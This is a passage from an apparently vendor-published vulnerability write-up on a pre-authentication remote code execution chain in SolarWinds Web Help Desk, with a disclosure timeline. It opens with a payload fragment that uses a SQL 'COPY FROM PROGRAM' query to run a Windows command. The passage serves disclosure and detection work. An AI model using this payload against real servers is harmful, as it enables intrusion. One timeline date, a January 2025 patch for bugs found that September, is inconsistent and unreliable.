"validationQuery":"CREATE TABLE watchTowrsvhet06r1(output text); COPY watchTowrsvhet06r1 FROM PROGRAM 'cmd.exe /c whoami > C:\\\\Users\\\\Public\\\\poc.txt'",
},
null
],
"wat": "\\u0022"
}
On its own, deserialization is not enough to trigger the JDBC connection. This is because jabsorb reorders the method arguments, which breaks the call we need.
However, we can use deserialization to trigger the getConnection getter first, and then validate that the connection is actually established by executing a malicious SQL query.

In the final screenshot, we can see that execution reaches the validate method with both:
- A valid JDBC connection to the local database.
- A malicious SQL query, which executes an OS command as
SYSTEM.

This gives us a full pre-auth RCE chain against a fully patched SolarWinds Web Help Desk instance.
You can also check out our short demo showing the full exploitation chain end-to-end:
Detection Artifact Generator
As usual, you can find our Detection Artifact Generator (DAG) here. It will:
- Verify the existence of CVE-2025-40552 (an Authentication Bypass)
- If that succeeds, test the CVE-2025-40553 RCE.
There are a few important notes about this DAG, so make sure you read the README in the repository.

To confirm exploitation, review the database for the output of the executed command:

Timeline
| Date | Detail |
|---|---|
| 29th September 2025 | WT-2025-0099 and WT-2025-0100 discovered. |
| 29th September 2025 | WT-2025-0099 and WT-2025-0100 reported to SolarWinds. |
| 1st October 2025 | SolarWinds confirmed they were able to reproduce WT-2025-0099. |
| 1st October 2025 | SolarWinds said that they don’t treat WT-2025-0100 as a valid finding, because they have removed C3P0 library and cannot achieve RCE. |
| 3rd October 2025 | WT-2025-0100 submission updated with a new RCE gadget. |
| 6th October 2025 | WT-2025-0101 discovered and reported to SolarWinds. |
| 7th October 2025 | SolarWinds confirmed they were able to reproduce WT-2025-0101. |
| 17th October 2025 | SolarWinds confirmed they were able to reproduce WT-2025-0100 with a new RCE gadget. |
| 28th January 2025 | Patch released for all reported vulnerabilities. CVE-2025-40552 (WT-2025-0099), CVE-2025-40553 (WT-2025-0100) and CVE-2025-40554 (WT-2025-0101) published. |
The research published by watchTowr Labs is just a glimpse into what powers the watchTowr Platform – delivering automated, continuous testing against real attacker behaviour.
By combining Proactive Threat Intelligence and External Attack Surface Management into a single Preemptive Exposure Management capability, the watchTowr Platform helps organisations rapidly react to emerging threats – and gives them what matters most: time to respond.